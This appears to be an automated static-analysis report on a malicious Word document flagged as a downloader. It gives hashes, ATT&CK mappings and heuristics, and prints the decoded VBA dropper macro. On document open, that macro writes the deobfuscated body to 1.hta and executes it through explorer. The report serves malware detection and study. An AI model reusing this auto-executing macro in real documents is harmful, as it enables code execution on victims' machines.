Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 c1ef3150fca365a2…

MALICIOUS

Office (OLE)

78.5 KB Created: 2021-09-01 10:57:00 Authoring application: Microsoft Office Word First seen: 2021-09-15
MD5: 5fdc4943bb4be8ea24eae62ace82f5db SHA-1: 3c0170f2b2d36cb7e224995a4638b48ab87a2a1c SHA-256: c1ef3150fca365a289133fe5264d4be6208bbb62d54d4f4b4c83e498242a9996
182 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1204.002 Malicious File

The sample contains VBA macros, including a Document_Open macro that executes a shell command. This macro writes obfuscated content to a file named '1.hta' and then attempts to execute it using 'c:\windows\explorer 1.hta'. The obfuscated content in the document body is likely a second-stage payload. The presence of a Document_Open macro and a lure to enable macros indicates a common downloader pattern.

Heuristics 6

  • ClamAV: Doc.Downloader.BlueLogoW09210-9891682-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.BlueLogoW09210-9891682-0
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.w3.org/1999/02/22-rdf-syntax-ns# In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/In document text (OLE body)
    • http://purl.org/dc/elements/1.1/In document text (OLE body)
    • http://ns.adobe.com/photoshop/1.0/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/mm/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/sType/ResourceEvent#In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/sType/ResourceRef#In document text (OLE body)
    • http://ns.adobe.com/tiff/1.0/In document text (OLE body)
    • http://ns.adobe.com/exif/1.0/In document text (OLE body)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 689 bytes
SHA-256: 4e9640f0d73323d5789f32163b676fe155182bd63484c63aa646a7295ec45740
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub document_open()
Call i("1.hta", Replace(ActiveDocument.Content, "wm8p", ""))
End Sub

Attribute VB_Name = "divExDiv"
Sub i(driveDocDev, devObjDoc)
Open driveDocDev For Output As #1
Print #1, devObjDoc
devWin driveDocDev
End Sub

Attribute VB_Name = "exDiv"
Sub devWin(divDevWin)
Set dirDirEx = New IWshRuntimeLibrary.WshShell
dirDirEx.exec "c:\\windows\\explorer " + divDevWin
End Sub

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